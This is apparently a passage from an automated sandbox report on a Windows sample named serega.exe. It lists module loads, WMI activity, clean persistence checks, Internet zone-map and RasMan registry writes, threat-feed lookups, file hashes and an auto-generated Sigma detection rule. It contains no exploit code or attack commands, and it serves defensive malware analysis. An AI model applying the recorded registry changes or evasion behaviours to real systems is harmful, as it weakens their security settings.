| serega.exe 3648 | C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\463f17277ec4… | yes | outside the system and installed-program directories |
| serega.exe 740 | C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c5… | no | the load failed |
| serega.exe 740 | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll | no | the load failed |
| serega.exe 740 | C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\463f17277ec4… | yes | outside the system and installed-program directories |
| serega.exe 740 | C:\Windows\SYSTEM32\SspiCli.dll asked for sspicli.dll | yes | a module whose loader is the question |
| serega.exe 5292 | C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c5… | no | the load failed |
| serega.exe 5292 | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll | no | the load failed |
| serega.exe 5292 | C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\463f17277ec4… | yes | outside the system and installed-program directories |
| serega.exe 5292 | C:\Windows\SYSTEM32\SspiCli.dll asked for sspicli.dll | yes | a module whose loader is the question |
| serega.exe 5388 | C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c5… | no | the load failed |
| serega.exe 5388 | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll | no | the load failed |
| serega.exe 5388 | C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\463f17277ec4… | yes | outside the system and installed-program directories |
| serega.exe 5388 | C:\Windows\SYSTEM32\SspiCli.dll asked for sspicli.dll | yes | a module whose loader is the question |
| serega.exe 5540 | C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c5… | no | the load failed |
| serega.exe 5540 | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll | no | the load failed |
| serega.exe 5540 | C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\463f17277ec4… | yes | outside the system and installed-program directories |
| serega.exe 5540 | C:\Windows\SYSTEM32\SspiCli.dll asked for sspicli.dll | yes | a module whose loader is the question |
| serega.exe 5628 | C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c5… | no | the load failed |
| serega.exe 5628 | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll | no | the load failed |
| serega.exe 5628 | C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\463f17277ec4… | yes | outside the system and installed-program directories |
| serega.exe 5628 | C:\Windows\SYSTEM32\SspiCli.dll asked for sspicli.dll | yes | a module whose loader is the question |
| serega.exe 5720 | C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c5… | no | the load failed |
| serega.exe 5720 | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll | no | the load failed |
| serega.exe 5720 | C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\463f17277ec4… | yes | outside the system and installed-program directories |
| serega.exe 5720 | C:\Windows\SYSTEM32\SspiCli.dll asked for sspicli.dll | yes | a module whose loader is the question |
| serega.exe 5820 | C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c5… | no | the load failed |
| serega.exe 5820 | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll | no | the load failed |
| serega.exe 5820 | C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\463f17277ec4… | yes | outside the system and installed-program directories |
| serega.exe 5820 | C:\Windows\SYSTEM32\SspiCli.dll asked for sspicli.dll | yes | a module whose loader is the question |
| serega.exe 6104 | C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c5… | no | the load failed |
| serega.exe 6104 | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll | no | the load failed |
| serega.exe 6104 | C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\463f17277ec4… | yes | outside the system and installed-program directories |
| serega.exe 6104 | C:\Windows\SYSTEM32\SspiCli.dll asked for sspicli.dll | yes | a module whose loader is the question |
| serega.exe 5224 | C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c5… | no | the load failed |
| serega.exe 5224 | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll | no | the load failed |
| serega.exe 5224 | C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\463f17277ec4… | yes | outside the system and installed-program directories |
| serega.exe 5224 | C:\Windows\SYSTEM32\SspiCli.dll asked for sspicli.dll | yes | a module whose loader is the question |
| serega.exe 5280 | C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c5… | no | the load failed |
| serega.exe 5280 | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll | no | the load failed |
| serega.exe 5280 | C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\463f17277ec4… | yes | outside the system and installed-program directories |
| serega.exe 5280 | C:\Windows\SYSTEM32\SspiCli.dll asked for sspicli.dll | yes | a module whose loader is the question |
| serega.exe 4320 | C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c5… | no | the load failed |
| serega.exe 4320 | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll | no | the load failed |
| serega.exe 4320 | C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\463f17277ec4… | yes | outside the system and installed-program directories |
| serega.exe 4320 | C:\Windows\SYSTEM32\SspiCli.dll asked for sspicli.dll | yes | a module whose loader is the question |
| serega.exe 524 | C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c5… | no | the load failed |
| serega.exe 524 | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll | no | the load failed |
| serega.exe 524 | C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\463f17277ec4… | yes | outside the system and installed-program directories |
| serega.exe 524 | C:\Windows\SYSTEM32\SspiCli.dll asked for sspicli.dll | yes | a module whose loader is the question |
| serega.exe 5684 | C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c5… | no | the load failed |
| serega.exe 5684 | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll | no | the load failed |
| serega.exe 5684 | C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\463f17277ec4… | yes | outside the system and installed-program directories |
| serega.exe 5684 | C:\Windows\SYSTEM32\SspiCli.dll asked for sspicli.dll | yes | a module whose loader is the question |
| serega.exe 5696 | C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c5… | no | the load failed |
What this list cannot say: only an explicit LoadLibrary call is recorded, so a module the sample brought in through its own import table never appears here - absence from this list is not absence from the process. There is no signature check behind these rows, so an unlisted module is not a module that was verified. The hooks are placed a few seconds after a process starts, so the first loads of a launch are missed.
WMI activity
5 classesWMI classes the sample queried, captured from the WMI-Activity trace and attributed to the sample process tree. Hardware/identity classes also surface as VM-detection checks above.
WMI method invocations
1 callMethods the sample invoked through WMI, with their arguments. A process created this way is spawned by the WMI provider host, so the operating system records no parent link back to the sample - the caller is named by the WMI-Activity trace and the argument is captured in the calling process itself.
Command lines, unwrapped
3 read3 captured texts were read and unwrapped locally. No address was recovered from any of them, and none of them was hiding its own contents behind an encoding or a format string. This is a result, not a gap.
Network activity
The network section is a paid-plan layer: the DNS the sample resolved, the connections it opened, the TLS it negotiated, and the rule engine's reading of the capture.
This run was captured, and what it captured is on a paid plan rather than absent. An internet-connected detonation is the same plan, so a paid run also shows what the sample reached rather than only what it tried.
Process tree
What ran during the detonation, and what each process did. Select a node to see the activity attributed to it.
serega.exe
27 processesAttributed activity
Nothing in this run was attributed to this process. That is not the same as "it did nothing" - it means no captured operation carried its pid.
Nothing in this run was attributed to this process. That is not the same as "it did nothing" - it means no captured operation carried its pid.
Nothing in this run was attributed to this process. That is not the same as "it did nothing" - it means no captured operation carried its pid.
Nothing in this run was attributed to this process. That is not the same as "it did nothing" - it means no captured operation carried its pid.
Nothing in this run was attributed to this process. That is not the same as "it did nothing" - it means no captured operation carried its pid.
Nothing in this run was attributed to this process. That is not the same as "it did nothing" - it means no captured operation carried its pid.
Nothing in this run was attributed to this process. That is not the same as "it did nothing" - it means no captured operation carried its pid.
Nothing in this run was attributed to this process. That is not the same as "it did nothing" - it means no captured operation carried its pid.
Nothing in this run was attributed to this process. That is not the same as "it did nothing" - it means no captured operation carried its pid.
Nothing in this run was attributed to this process. That is not the same as "it did nothing" - it means no captured operation carried its pid.
Nothing in this run was attributed to this process. That is not the same as "it did nothing" - it means no captured operation carried its pid.
Nothing in this run was attributed to this process. That is not the same as "it did nothing" - it means no captured operation carried its pid.
Nothing in this run was attributed to this process. That is not the same as "it did nothing" - it means no captured operation carried its pid.
Nothing in this run was attributed to this process. That is not the same as "it did nothing" - it means no captured operation carried its pid.
Nothing in this run was attributed to this process. That is not the same as "it did nothing" - it means no captured operation carried its pid.
Nothing in this run was attributed to this process. That is not the same as "it did nothing" - it means no captured operation carried its pid.
Nothing in this run was attributed to this process. That is not the same as "it did nothing" - it means no captured operation carried its pid.
Nothing in this run was attributed to this process. That is not the same as "it did nothing" - it means no captured operation carried its pid.
Nothing in this run was attributed to this process. That is not the same as "it did nothing" - it means no captured operation carried its pid.
Nothing in this run was attributed to this process. That is not the same as "it did nothing" - it means no captured operation carried its pid.
Nothing in this run was attributed to this process. That is not the same as "it did nothing" - it means no captured operation carried its pid.
Nothing in this run was attributed to this process. That is not the same as "it did nothing" - it means no captured operation carried its pid.
Nothing in this run was attributed to this process. That is not the same as "it did nothing" - it means no captured operation carried its pid.
Nothing in this run was attributed to this process. That is not the same as "it did nothing" - it means no captured operation carried its pid.
Not attributed to any process
1 kindThese operations were captured but carry no pid this tree could match, so they are not shown against any node above.
Persistence mechanisms
cleanNo persistence established
None of the 90 auto-start methods below were established during this run.
Detection coverage
0 / 90Every auto-start method checked on this sample, grouped by family. A method with no result is reported clean, and one the sample only names in its own strings reads "named" rather than "detected".
- Active Setup Installed Component T1547.014 clean
- Explorer Delay-Load Object T1547.001 clean
- Explorer Run Key T1547.001 clean
- Explorer SharedTaskScheduler T1547.001 clean
- Group Policy Extension DLL T1547.004 clean
- Group Policy Run Key T1547.001 clean
- Logon Script T1037.001 clean
- RDP WDS Startup Program T1547.001 clean
- Registry Run Key T1547.001 clean
- Registry RunEx Key T1547.001 clean
- Registry RunOnce Key T1547.001 clean
- Registry RunOnceEx Key T1547.001 clean
- Registry RunServices Key T1547.001 clean
- Startup Folder Item T1547.001 clean
- Startup Folder Redirection T1547.001 clean
- Terminal Services Initial Program T1547.001 clean
- Winlogon GINA DLL T1547.004 clean
- Winlogon MPNotify Value T1547.004 clean
- Winlogon Notify Package T1547.004 clean
- Winlogon Shell Value T1547.004 clean
- Winlogon Taskman Value T1547.004 clean
- Winlogon Userinit Value T1547.004 clean
- BITS Job T1197 clean
- Print Monitor DLL T1547.010 clean
- Print Processor DLL T1547.012 clean
- Scheduled Task T1053.005 clean
- Scheduled Task Registry Implant T1053.005 clean
- Service Control Manager Security Descriptor T1574.011 clean
- Service DLL Hijack T1543.003 clean
- Time Provider DLL T1547.003 clean
- Windows Service Creation T1543.003 clean
- .NET Managed Debugger T1546.012 clean
- Accessibility Tool Hijack T1546.008 clean
- AeDebug Postmortem Debugger T1546.012 clean
- App Paths Hijack T1546.012 clean
- Application Shim Database T1546.011 clean
- Boot Verification Program T1547.002 clean
- Command Processor AutoRun T1546.011 clean
- Explorer Load Value T1547.001 clean
- Explorer MyComputer Tool Hijack T1546.001 clean
- Registry Image File Execution Options T1546.012 clean
- Screensaver Hijack T1546.002 clean
- Setup ErrorHandler Script T1546 clean
- Shell Open Command Hijack T1546.001 clean
- SilentProcessExit Monitor T1546.012 clean
- Telemetry Controller Command T1546.015 clean
- WER ReflectDebugger T1546.012 clean
- Windows Error Reporting Debugger T1546.012 clean
- .NET CLR Profiler DLL T1574.012 clean
- .NET Startup Hook DLL T1574 clean
- AppCert DLLs T1546.009 clean
- AppInit DLLs T1546.010 clean
- AutodialDLL Winsock Injection T1546.006 clean
- DLL Search-Order Hijack T1574.001 T1574.002 clean
- DNS Server Plugin DLL T1574.001 clean
- HTML Help Helper DLL T1546 clean
- KnownDLLs Manipulation T1574.001 clean
- Natural Language Platform DLL Override T1546 clean
- Netsh Helper DLL T1546.007 clean
- Winsock Layered Service Provider T1546.006 clean
- Browser Extension T1176 clean
- Browser Helper Object T1176 clean
- COM Server Hijack T1546.015 clean
- HTML Help COM Object Hijack T1546.015 clean
- Shell Context Menu Handler T1546.001 clean
- Shell Extension Handler T1546.001 clean
- Account RID Hijack T1098 clean
- AMSI Provider T1562.001 clean
- Credential Provider T1547.014 clean
- DSRM Admin Logon Backdoor T1556 clean
- Hidden Local Account T1136.001 clean
- LSA Authentication Package T1547.002 clean
- LSA Extension DLL T1547.005 clean
- LSA Notification Package T1547.005 clean
- LSA Security Package T1547.005 clean
- Network Provider DLL T1556.008 clean
- Security Support Provider T1547.005 clean
- Netsh Port Proxy T1090.001 clean
- Office Add-in T1137.006 clean
- Office Executable Sideload T1574.002 clean
- Office Startup Template T1137.001 clean
- Office Test Key T1137.002 clean
- Power Automate Flow T1546 clean
- PowerShell Profile T1546.013 clean
- Windows Terminal Startup Action T1546 clean
- WMI Event Subscription T1546.003 clean
- BootExecute Native Image T1547.002 clean
- PlatformExecute Native Image T1547.002 clean
- SetupExecute Native Image T1547.002 clean
- UEFI / Bootkit Artifact T1542.003 T1542.001 clean
File activity summary
Dropped payload analysis
none keptThe sample ran and none of what it wrote was a payload this run kept and examined. That is a measured absence rather than an unasked question.
File & registry ops
0 file · 4 registry · sample scope
| Operation | Target | Process |
|---|---|---|
| create |
SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
|
serega.exe pid 4132 |
| setvalue |
SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
ProxyBypass = 1
|
serega.exe pid 4132 |
| create |
Software\Microsoft\WBEM\CIMOM
|
serega.exe pid 4132 |
| create |
Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\
|
serega.exe pid 4132 |
| setvalue |
SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
IntranetName = 1
|
serega.exe pid 5292 |
| setvalue |
SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
UNCAsIntranet = 1
|
serega.exe pid 5292 |
| setvalue |
SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
AutoDetect = 0
|
serega.exe pid 5292 |
| create |
Software\Microsoft\WindowsSelfhost\FIDs
|
WerFault.exe pid 5920 |
| create |
Software\Microsoft\Windows\CurrentVersion\Flighting\Build
|
WerFault.exe pid 5920 |
| create |
Software\Microsoft\RFC1156Agent\CurrentVersion\Parameters
|
serega.exe pid 6012 |
| setvalue |
System\CurrentControlSet\Services\PptpMiniport
DriverMajorVersion = 1
|
- |
| setvalue |
System\CurrentControlSet\Services\RasPppoe
DriverMinorVersion = 0
|
- |
| setvalue |
System\CurrentControlSet\Services\wanarp
Start = 2
|
- |
| setvalue |
System\CurrentControlSet\Services\ndproxy
DriverMinorVersion = 0
|
- |
| setvalue |
System\CurrentControlSet\Services\wanarpv6
NdisMajorVersion = 6
|
- |
| setvalue |
System\CurrentControlSet\Services\RasAgileVpn
NdisMinorVersion = 30
|
- |
| setvalue |
System\CurrentControlSet\Services\wanarpv6
DriverMajorVersion = 0
|
- |
| setvalue |
System\CurrentControlSet\Services\NdisWan
DriverMinorVersion = 1
|
- |
| setvalue |
System\CurrentControlSet\Services\PptpMiniport
NdisMajorVersion = 6
|
- |
| setvalue |
System\CurrentControlSet\Services\RasPppoe
NdisMajorVersion = 6
|
- |
| setvalue |
System\CurrentControlSet\Services\Rasl2tp
DriverMajorVersion = 1
|
- |
| setvalue |
System\CurrentControlSet\Services\wanarpv6
NdisMinorVersion = 84
|
- |
| setvalue |
System\CurrentControlSet\Services\ndproxy
NdisMinorVersion = 30
|
- |
| setvalue |
System\CurrentControlSet\Services\NdisWan
NdisMajorVersion = 6
|
- |
| setvalue |
System\CurrentControlSet\Services\wanarp
NdisMajorVersion = 6
|
- |
| setvalue |
System\CurrentControlSet\Services\RasSstp
DriverMinorVersion = 0
|
- |
| setvalue |
System\CurrentControlSet\Services\ndiswanlegacy
NdisMajorVersion = 5
|
- |
| setvalue |
System\CurrentControlSet\Services\ndiswanlegacy
NdisMinorVersion = 0
|
- |
| setvalue |
System\CurrentControlSet\Services\wanarp
DriverMajorVersion = 0
|
- |
| setvalue |
System\CurrentControlSet\Services\NdisWan
DriverMajorVersion = 1
|
- |
| setvalue |
System\CurrentControlSet\Services\RasAgileVpn
NdisMajorVersion = 6
|
- |
| setvalue |
System\CurrentControlSet\Services\PptpMiniport
NdisMinorVersion = 30
|
- |
| setvalue |
System\CurrentControlSet\Services\NdisWan
NdisMinorVersion = 30
|
- |
| setvalue |
System\CurrentControlSet\Services\wanarpv6
DriverMinorVersion = 0
|
- |
| setvalue |
System\CurrentControlSet\Services\wanarp
NdisMinorVersion = 84
|
- |
| setvalue |
System\CurrentControlSet\Services\RasPppoe
NdisMinorVersion = 30
|
- |
| setvalue |
System\CurrentControlSet\Services\RasAgileVpn
DriverMajorVersion = 1
|
- |
| setvalue |
System\CurrentControlSet\Services\Rasl2tp
NdisMajorVersion = 6
|
- |
| setvalue |
System\CurrentControlSet\Services\RasSstp
NdisMajorVersion = 6
|
- |
| setvalue |
System\CurrentControlSet\Services\RasAgileVpn
DriverMinorVersion = 0
|
- |
| setvalue |
System\CurrentControlSet\Services\Rasl2tp
DriverMinorVersion = 0
|
- |
| setvalue |
System\CurrentControlSet\Services\RasMan\Parameters
MiniportsInstalled = 65535
|
- |
| setvalue |
System\CurrentControlSet\Services\RasMan
Start = 2
|
- |
| setvalue |
System\CurrentControlSet\Services\Rasl2tp
NdisMinorVersion = 30
|
- |
| setvalue |
System\CurrentControlSet\Services\RasSstp
DriverMajorVersion = 1
|
- |
| setvalue |
System\CurrentControlSet\Services\RasPppoe
DriverMajorVersion = 1
|
- |
| setvalue |
System\CurrentControlSet\Services\wanarp
DriverMinorVersion = 0
|
- |
| setvalue |
System\CurrentControlSet\Services\RasMan
DelayedAutostart = 0
|
- |
| setvalue |
System\CurrentControlSet\Services\PptpMiniport
DriverMinorVersion = 0
|
- |
| setvalue |
System\CurrentControlSet\Services\RasSstp
NdisMinorVersion = 30
|
- |
| setvalue |
System\CurrentControlSet\Services\ndproxy
DriverMajorVersion = 1
|
- |
| setvalue |
System\CurrentControlSet\Services\ndproxy
NdisMajorVersion = 6
|
- |
No operations match your filter.
External reputation was not produced for this scan. Threat intelligence enrichment is a paid-plan layer: every extracted indicator - hashes, addresses, hostnames - is checked against the external reputation services. Our own ingested feeds ran on this scan and every result below is theirs. Adding the paid layer adds an external reputation verdict on each indicator, so VirusTotal, MalwareBazaar and filescan.io are listed below as not checked. See plans.
File reputation
4 clear · 3 not checked| Source | Checks | Result | Detail | Feed |
|---|---|---|---|---|
| MalwareBazaar hash feed | File hash | clean | not in feed | 3,003 records 5 minutes ago |
| MalwareBazaar ransomware feed | File hash | clean | not in feed | 3,348 records 3 hours ago |
| ThreatFox hash IOCs | File hash | clean | not in feed | 1,153 records 5 minutes ago |
| URLhaus payload hashes | File hash | clean | not in feed | 1,680 records 5 minutes ago |
| filescan.io | File hash | not checked | no hash lookup ran for this scan | live lookup |
| MalwareBazaar | File hash | not checked | no hash lookup ran for this scan | live lookup |
| VirusTotal | File hash | not checked | no hash lookup ran for this scan | live lookup |
Hash lookups only - the sample itself is never uploaded to any third party.
Network indicators
7 clear · 1 could not answer| Source | Checks | Result | Detail | Feed |
|---|---|---|---|---|
| URLhaus | IP / domain / URL | feed unavailable | 1 observed indicator, none listed | no records ingested |
| blocklist.de | IP / domain / URL | clean | 1 observed indicator, none listed | 27.6k records 5 minutes ago |
| CINS Army | IP / domain / URL | clean | 1 observed indicator, none listed | 15k records 5 minutes ago |
| Emerging Threats | IP / domain / URL | clean | 1 observed indicator, none listed | 482 records 5 minutes ago |
| Feodo Tracker | IP / domain / URL | clean | 1 observed indicator, none listed | 5 records 5 minutes ago |
| IPsum | IP / domain / URL | clean | 1 observed indicator, none listed | 19.7k records 5 minutes ago |
| Phishing.Database | IP / domain / URL | clean | 1 observed indicator, none listed | 391.5k records 3 hours ago |
| ThreatFox | IP / domain / URL | clean | 1 observed indicator, none listed | 1,153 records 5 minutes ago |
TLS fingerprints
nothing of this kind to check| Source | Checks | Result | Detail | Feed |
|---|---|---|---|---|
| JA3 / JA4 fingerprint blocklists | JA3 / JA4 | not checked | no TLS client fingerprint observed | 97 records 9 hours ago |
| SSL blocklist | Server certificate | not checked | no server certificate fingerprint is extracted to check | live lookup |
Detection rules
2 clear| Source | Checks | Result | Detail | Feed |
|---|---|---|---|---|
| Sigma rules | Behavior log | clean | - | 2,275 records 5 hours ago |
| Signature rules | Sample content | clean | 4 structural rules matched (file properties, not findings) | 110 records 5 minutes ago |
Tooling catalogs
4 clear| Source | Checks | Result | Detail | Feed |
|---|---|---|---|---|
| LOLBAS | Process image paths | clean | 27 process image paths, none masqueraded | 245 records 5 minutes ago |
| LOLBootloaders | File hash | clean | not a known vulnerable bootloader | 520 records 4 minutes ago |
| LOLDrivers | File hash | clean | not a known vulnerable driver | 2,333 records 5 minutes ago |
| LOLRMM | Names and domains | clean | 28 name/domain indicators checked, no remote-management tooling | 360 records 5 minutes ago |
AI analysis
The AI layer is a paid-plan feature. It reads what the other layers produced - the behaviour summary, the call sequence, the indicator list - and writes the narrative and the kill-chain walkthrough.
Nothing is being withheld. This layer did not run for this scan, so there is no result stored behind the lock.
File indicators
2| Severity | Type | Indicator | Description |
|---|---|---|---|
| malicious | sample_sha256 | 7d0ddcb5251813bcec7e58b8c26b62174dcd20765dd96639be0357b0699e54f0 | Submitted sample (SHA256) |
| malicious | sample_md5 | 562de6915636d1ee2fbdf220a6ed4ea7 | Submitted sample (MD5) |
Sigma detections
0 matches of 2275 rulesThe Sigma corpus was evaluated against this run's processes, registry, file, network, DNS and script activity. Nothing matched.
Generated rules
Sigma: auto_file_2918_sigma_reg
Auto-generatedtitle: Auto-generated registry behavior rule (sandbox scan 2918)
id: sandbox-auto-2918-reg
status: experimental
description: Auto-generated from sandbox scan 2918
logsource:
category: registry_event
product: windows
detection:
selection:
TargetObject|contains:
- 'Software\Microsoft\WBEM\CIMOM'
- 'Software\Microsoft\WindowsSelfhost\FIDs'
- 'Software\Microsoft\Windows\CurrentVersion\Flighting\Build'
- 'Software\Microsoft\RFC1156Agent\CurrentVersion\Parameters'
condition: selection
level: mediumExtracted files
What came out of the sample: unpacked payloads, carved objects and captured memory. Each one is stored by content hash, so the same object extracted twice is the same row.
No extracted files
Nothing was unpacked or carved out of this sample. Packed samples, documents with embedded objects and installers are the ones that usually produce artifacts here.
Export & download
/s/2918Structured exports for your SIEM/TIP - ATT&CK Navigator layer, STIX 2.1 bundle, MISP event and a defanged IOC list - are free on every report. The packet capture follows this scan's plan, because a capture is the rawest network output this platform produces.
AI analysis report
An enterprise report with an AI-written executive summary, threat assessment, kill chain, and recommendations, plus the derived evidence (verdict, MITRE ATT&CK, network, file modifications, dropped files, IOCs) and screenshots. The AI narrative is built from derived analysis data only, so the raw sample never leaves the host (no-upload and AI-boundary preserved).
Headers
Body
Headers
Body
You are about to download the raw, live sample. It is real, potentially destructive malware and can harm your machine if opened or run. Only handle it inside an isolated analysis environment.
Delivered as a ZIP encrypted with the password infected so the bytes are never handled unprotected.
Report this analysis
Analysis reports are produced automatically from files, addresses and text submitted by visitors. If this one publishes your material, identifies you, or should not be public for any other reason, tell us why and an administrator will review it.
Public analyses of this file
1 run| Submitted | Environment | Verdict | Score |
|---|---|---|---|
| 2026-10-23 15:02 Shown below | Windows 10 22H2 | Malicious | 100/100 |